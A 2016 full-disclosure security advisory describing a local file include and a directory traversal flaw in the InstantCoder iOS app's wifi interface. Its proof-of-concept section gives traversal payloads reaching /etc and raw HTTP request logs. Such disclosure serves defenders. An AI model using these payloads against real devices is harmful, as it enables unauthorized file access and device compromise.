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List:       full-disclosure
Subject:    [FD] InstantCoder v1.0 iOS - Multiple Web Vulnerabilities
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2016-02-23 11:50:03
Message-ID: 56CC476B.7070802 () vulnerability-lab ! com
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Document Title:
===============
InstantCoder v1.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1738


Release Date:
=============
2016-02-22


Vulnerability Laboratory ID (VL-ID):
====================================
1738


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
You are one of the best developers in the world and you would like to code anytime, anywhere. \
CuteCoder makes it possible  for your to code and debug web apps on your lovely iPhone and \
iPad.

(Copy of the Homepage: https://itunes.apple.com/ai/app/instantcoder/id1067517686 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple vulnerabilities in the \
official InstantCoder mobile iOS web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shumin Sun
Product: InstantCoder - iOS (Web-Application) 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official InstantCoder v1.0 \
iOS mobile web-application (wifi). The file include vulnerability allows remote attackers to \
unauthorized include local file/path requests or system specific path  commands to compromise \
the mobile web-application.

The web vulnerability is located in the `filename` value of the `./toolkit/upload` module. \
Remote attackers are able to inject own  files with malicious `filename` values in the `file \
upload` POST method request to compromise the mobile web-application. The local  file/path \
include execution occcurs in the index file dir listing and sub folders of the wifi interface. \
The attacker is able to  inject the lfi payload by usage of the wifi interface or local file \
sync function. 

Attackers are also able to exploit the filename issue in combination with persistent injected \
script code to execute different malicious  attack requests. The attack vector is located on \
the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 6.4.  Exploitation of the local file include web \
vulnerability requires no user interaction or privileged web-application user account.  \
Successful exploitation of the local file include vulnerability results in mobile application \
compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] ./toolkit/upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)



1.2
A directory traversal web vulnerability has been discovered in the official InstantCoder v1.0 \
iOS mobile web-application (wifi). The vulnerability allows remote attackers to unauthorized \
access path variables to compromise the web-application or mobile device.

The directory traversal web vulnerability is located in the `path` value of the `listFiles` \
module. Remote attackers are able to  manipulate the path variable GET or POST method request \
to compromise the application. The request method to inject the payload is  POST and the \
request method to execute is GET. The attack vector of the vulnerability is located on the \
application-side. The path  variable is not encoded or parsed. Thus allows an attacker to \
inject to unauthorized access the local system or app path.

The security risk of the path traversal vulnerability is estimated as high with a cvss (common \
vulnerability scoring system) count of 7.0.  Exploitation of the local file include web \
vulnerability requires no user interaction or privileged web-application (wifi ui) user \
account.  Successful exploitation of the path traversal vulnerability results in mobile \
application compromise or compromise of connected device components.


Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] ./listFiles

Vulnerable Parameter(s):
				[+] path

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers with wifi panel \
access and without user interaction. For security demonstration or to reproduce the \
vulnerability follow the provided information and steps below to continue.

PoC: Payload
http://localhost:8080/toolkit/index.html./[LOCAL FILE INCLUDE VULNERABILITY!]


PoC: Vulnerable Source
javascript:changePath("./[LOCAL FILE INCLUDE VULNERABILITY!]");


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/toolkit/upload?path= Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] \
Größe des Inhalts[162] Mime Type[application/x-unknown-content-type]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Content-Length[819]
      Content-Type[multipart/form-data; boundary=---------------------------29343138867419]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------29343138867419
Content-Disposition: form-data; name="path"
-----------------------------29343138867419
Content-Disposition: form-data; name="upload1"; filename="./[LOCAL FILE INCLUDE \
                VULNERABILITY!]"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/toolkit/index.html Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  \
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[4995] Mime \
Type[application/x-unknown-content-type]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[4995]
      Date[Mon, 22 Feb 2016 08:33:04 GMT]


Reference(s):
http://localhost:8080/toolkit/upload
http://localhost:8080/toolkit/index.html



1.2
Thedirectory traversal web vulnerability can be exploited by remote attackers with wifi panel \
access and without user interaction. For security demonstration or to reproduce the \
vulnerability follow the provided information and steps below to continue.

PoC: Payload
http://localhost:8080/listFiles?path=./.././../../../../../../../../../../


PoC: Vulnerable Source
<p></p>
<div id="list-file"><a \
href="javascript:changePath("/.././../../../../../../../../../../etc/%00");">  <div \
class="folder"><img><iframe></div></a></iframe></div></a></div> </div>


Status: 200[OK]
POST http://localhost:8080/listFiles?path=/ Load Flags[LOAD_BACKGROUND  VALIDATE_ALWAYS \
LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[162] Mime \
Type[application/x-unknown-content-type]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[162]
      Date[Mon, 22 Feb 2016 08:09:34 GMT]
-
Status: 200[OK]
POST http://localhost:8080/listFiles?path=/.././../../../../../../../../../../etc/%00 Load \
Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime \
Type[application/x-unknown-content-type]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2]
      Date[Mon, 22 Feb 2016 08:09:37 GMT]
-
Status: 200[OK]
POST http://localhost:8080/listFiles?path=./.././../../../../../../../../../../ Load \
Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime \
Type[application/x-unknown-content-type]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2]
      Date[Mon, 22 Feb 2016 08:09:45 GMT]


Reference(s):
http://localhost:8080/listFiles


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the upload POST method request \
is estimated as high. (CVSS 6.7)

1.2
The security risk of the directory traversal web vulnerability in the list path GET method \
request is estimated as high. (CVSS 7.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) \
[www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
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consequential loss of business profits or special damages, even if Vulnerability-Lab  or its \
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exclusion or limitation of liability for  consequential or incidental damages so the foregoing \
limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,  \
policies, deface websites, hack into databases or trade with fraud/stolen material.

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